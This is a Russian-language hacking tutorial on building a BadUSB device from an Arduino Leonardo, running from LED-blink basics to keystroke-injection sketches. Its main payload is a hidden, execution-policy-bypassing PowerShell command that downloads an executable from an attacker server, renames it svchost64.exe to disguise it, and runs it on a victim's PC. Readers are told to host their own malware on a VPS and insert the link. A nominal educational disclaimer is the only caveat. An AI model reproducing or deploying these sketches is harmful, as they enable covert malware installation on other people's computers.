Arduino - свой флиппер за 1000 рублей (делаем BadUSB)
Дисклеймер: все описанные действия предоставлены автором в ознакомительных целях. Большое спасибо моему товарищу подарившему и научившему азам использования данной прекрасной платы♥
Введение
Сегодня мы с вами разберем плату Arduino Leonardo - купить можно тут (внимание - Китай, подделка, но в принципе работает нормально).
Для сегодняшних манипуляций она более чем подойдет. Более подробно про разные платы можете почитать здесь (VPN maybe required) и здесь.
Arduino служит платой микроконтроллера. По сути это миникомпьютер, к которому можно прицепить нужные тебе модули и сделать полноценный карманно-носимый хакерский гаджет.
В этой статье мы с вами изучим атаку типа BadUSB с помощью Arduino Leonardo, в котором уже зашита поддержка эмуляции клавиатуры и мыши.
BadUSB - это атака, при которой подключенное к пк устройство распознается как клавиатура или мышь, и дальше исполняет payload (от англ. полезная нагрузка) для запуска вредоносного кода.
Начало программирования с Arduino
- Плата Arduino Leonardo - купить можно например тут.
- Программа Arduino IDE - скачать.
- Возможно type-c провод для подключения платы к пк (если не придет вместе с платой).
И так, скачиваем и устанавливаем Arduino IDE.
Затем вам может потребоваться скачать и установить драйвер.
После установки перезагружаем пк, подключаем нашу плату к пк и запускаем прогу.
Ждем пока прога докачает и установит необходимые библиотеки.
Вся документация по установке, программированию, библиотекам и прочему - тут.
Для начала выберем наше устройство в меню подключенных устройств.
Затем зайдем в Tools и выберем следующие настройки
И так, после этого наша первичная настройка завершена.
Перейдем к разбору примера кода с codeby:
/* Мигание LED
* ----------— * codeby.net
* Включает и выключает светодиод (LED) подсоединенный
* к выходу 13, с интервалом в 1 секунду
*
*/
int ledPin = 13; // LED подсоединен к выводу 13
void setup ()
{
pinMode (ledPin, OUTPUT); // устанавливаем вывод 13 как выход
}
void loop ()
{
digitalWrite (ledPin, HIGH); // включаем LED
delay (1000); // пауза 1 секунда
digitalWrite (ledPin, LOW); // выключаем LED
delay (1000); // пауза 1 секунда
}
Здесь мы с вами подключаемся к нашему LED экрану на 13 выводе и пишем программу, чтобы у нас мигала лампочка каждую секунду (5 сек решил долго будет).
В void setup мы задаем как бы построчное исполнение программы, как в том же python условно говоря.
В void loop мы задаем также построчно программу, но это уже что-то вроде зацикленного цикла типа While True, так что здесь код будет постоянно повторяться вновь и вновь, что нам и нужно для того чтобы не писать самим бесконечный цикл на мигание лампочки.
Кстати если мы зайдем в File > Examples то увидим большое количество примеров кода, тыкнув на который у нас подгрузится готовый код. Мы его можем зашить в нашу плату и проверить работу, а также ознакомиться с самим кодом.
Так вот. Для того чтобы прошить наш код, нажимаем сочетания клавиш ctrl+R (компиляция и проверка кода). Если всё прошло без ошибок, то ctrl+U - это прошивка программы в нашу плату.
Компиляция успешна, жмем ctrl+U
На китайской плате выдаёт такую ошибку, но это рукожопость недостаток самих плат собранных в подвале на коленке. Программа должна работать, проверьте, мигает ли у вас светодиод.
Мы можем изменить время включения и выключения лампочки, поменяв значение в delay (1000)
на своё. Обратите внимание, значение даётся в миллисекундах.
Например поставим включенный светодиод на 1 сек, а выключенный на 0.5 сек:
Теперь у нас как-бы светодиод будет подмигивать, то есть быть дольше во включенном состоянии, моргая на пол секунды. Можно сделать наоборот чтобы было что-то вроде моргания пожарной сигнализации, поменяв значения местами. Вообщем, развелкайтесь).
Кстати код достаточно понятный, например в digitalWrite ()
видно, что значение HIGH
отвечает за включение светодиода, а LOW
за его выключение.
После объявление глобальной функции void setup или void loop идёт следующий синтаксис:
- Открываются вот такие скобки {}
- Внутри них пишется на одной строчке команда.
- Если это функция, то значение через пробел пишутся в таких скобках () и отделяются между собой запятой
- Каждая строчка заканчивается точкой с запятой ;
Ну вот в общем то и всё, пойдемте тестить badusb код.
Простой BadUSB без цикла
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(50);
Keyboard.releaseAll();
}
Такой простой код запустит на компьютере жертвы при подключении нашей платы программу Выполнить, встроенную в Windows.
#include <Keyboard.h>
- подключает библиотеку по работе с клавиатурой. Документация.Keyboard.begin();
- инициализирует библиотеку. Наша плата начинает эмулировать клавиатуру.delay(2000);
- даём паузу 2 секунды чтобы всё прогрузилосьKeyboard.press(KEY_LEFT_GUI);
- кнопка левого виндовс (или комманд если macos и т.д.)Keyboard.press('r');
- кнопка rdelay(50);
- примерное время в 50 мсек, чтобы кнопки успели нажаться системойKeyboard.releaseAll();
- отжимает все кнопки.
Keyboard.begin();
делает из нашей платы клавиатуру (не забудьте вначале импортировать библиотеку командой#include <Keyboard.h>
)delay(мсек)
даёт нам паузу. 2000 мсек нужно чтобы библиотека успела прогрузиться платой и системой, 50-75 мсек нужно для того чтобы клавиша прожаласьKeyboard.press (клавиша)
выполняет функцию ЗАЖАТИЯ клавиши. Мы можем передать пробел и любую клавишу внутри скобок в кавычках, напр.Keyboard.press (' ')
илиKeyboard.press ('g')
. Если нам нужно зажать ctrl или подобную клавишу, смотрим документацию, напр. шифт это KEY_LEFT_SHIFT и будет команда выглядеть так:Keyboard.press (KEY_LEFT_SHIFT)
. Что важно - БЕЗ КАВЫЧЕК.Keyboard.releaseAll()
ОТЖИМАЕТ ВСЕ КНОПКИ!!! Если не отжать то зажатые клавиши не дадут нормально пользоваться пк, не говоря о том что ваш payload не сможет выполниться. Хотя если у вас цель похулиганить можете убрать эту функцию и поприкалываться над товарищами.- И ещё есть команда
Keyboard.release(клавиша)
которая отжимает конкретную клавишу, если это вам конечно понадобится.
С кодом разобрались, давайте запустим команду:
Всё работает, остается только написать payload.
Давайте допишем нашу программу следующим образом:
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(50);
Keyboard.releaseAll();
Keyboard.press('c');
delay(45);
Keyboard.releaseAll();
Keyboard.press('m');
delay(45);
Keyboard.releaseAll();
Keyboard.press('d');
delay(45);
Keyboard.releaseAll();
Keyboard.press(' ');
delay(45);
Keyboard.releaseAll();
Keyboard.press('/');
delay(45);
Keyboard.releaseAll();
Keyboard.press('c');
delay(45);
Keyboard.releaseAll();
Keyboard.press(' ');
delay(45);
Keyboard.releaseAll();
Keyboard.press('n');
delay(45);
Keyboard.releaseAll();
Keyboard.press('o');
delay(45);
Keyboard.releaseAll();
Keyboard.press('t');
delay(45);
Keyboard.releaseAll();
Keyboard.press('e');
delay(45);
Keyboard.releaseAll();
Keyboard.press('p');
delay(45);
Keyboard.releaseAll();
Keyboard.press('a');
delay(45);
Keyboard.releaseAll();
Keyboard.press('d');
delay(45);
Keyboard.releaseAll();
Keyboard.press('&');
delay(45);
Keyboard.releaseAll();
Keyboard.press('c');
delay(45);
Keyboard.releaseAll();
Keyboard.press('a');
delay(45);
Keyboard.releaseAll();
Keyboard.press('l');
delay(45);
Keyboard.releaseAll();
Keyboard.press('c');
delay(45);
Keyboard.releaseAll();
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
Алгоритм здесь следующий - мы просто хотим выполнить в программе Выполнить команду cmd /c notepad&calc
которая запустит с помощью командной строки блокнот и клавиатуру.
Чтобы нам нажать на одну кнопку нам нужно написать три строчки:
Keyboard.press('кнопка');
delay(45);
Keyboard.releaseAll();
Как видим всё запустилось. Но если мы переключим раскладку на русский то всё поломается:
Закачиваем и запускаем вирусы
Теперь разберем код для скрытой загрузки и запуска файла:
#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = " " ;
void setup() {
Keyboard.begin();
delay(3000);
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);
Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://server_ip/file.exe',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
delay(10000000);
}
Создаем VPS, устанавливаем apache2, загружаем на сервер наш вредонос. Забираем на него ссылку:
Вставляем ссылку в Keyboard.println ()
где это написано. прям в кавычки:
Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://62.113.104.126/crack.exe,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");
Как видим программа успешно скачалась и запустилась
Вам останется только поменять ссылку в кавычках DownloadFile('http://server_ip/file.exe',
на своё значение.
Теперь остается затронуть последний момент - цикл.
Делаем цикл for для автоматизации ввода команды
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(50);
Keyboard.releaseAll();
char* x = "cmd /c notepad&calc";
for (int i = 0; i < strlen(x); i++)
{
Keyboard.press(x[i]);
delay(50);
Keyboard.releaseAll();
}
Keyboard.press(KEY_RETURN);
delay(50);
Keyboard.releaseAll();
}
Здесь в общем то вписывается в программу Выполнить команда cmd /c
с последующей полезной нагрузкой. Но чтобы нам не вводить символы вручную, за нас создается счётчик i, который проходится по каждому символу из переменной x.
Всё что вам нужно - поменять содержимое x на своё, например:
char* x = "powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://server_ip/file.exe',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"";
Тут как видим у нас ошибка из-за того что первая буква не успевает нажаться:
Попробуем добавить немного задержки после открытия программы Выполнить:
Теперь проверяем и всё работает:
Выводы
Arduino - достаточно дешевые и эффективные платы, которые подходят для самых различных задач, начиная от имитации клавиатур и мышек, заканчивая анализаторами радиотраффика и даже роботами.
В отличии от готовых флагманских решений типа Flipper Zero или HackRF ONE, arduino учит легкому погружению в язык программирования C, самостоятельному решению задач и сборке собственных портативных устройств для хакинга.
Подобные микроконтроллеры станут отличным стартом в мир аппаратного хакинга и сильно повысят ваши скиллы на фоне других участников комьюнити.
Благодарю за прочтение статьи.
Готовые скетчи с кодом для Arduino IDE можно скачать здесь.
Список полезной литературы
https://xss.is/threads/125276/
https://xss.is/threads/124180/
https://xakep.ru/2021/06/17/gsm-ducky/
https://codeby.net/forums/oborudovanie-dlja-pentesta.192/
https://codeby.net/threads/besprovodnaja-hid-ataka-s-ispolzovaniem-arduino-mkr1000-utochka-dlja-wi-fi-seti.73761/
https://codeby.net/threads/kontroller-graficheskogo-interfejsa-dlja-proektov-arduino-remotexy.72260/
https://codeby.net/threads/sobiraem-dongl-dlja-raboty-s-beskontaktnymi-kartami.72019/
https://codeby.net/threads/bad-usb-ili-kak-ja-utok-razvodil-prakticheskoe-posobie-po-rubber-duck.71821/
https://codeby.net/threads/opredeljaem-kto-doma-s-pomoschju-esp8266.66662/
https://codeby.net/threads/arduino-totp-ili-google-authenticator-svoimi-rukami.61344/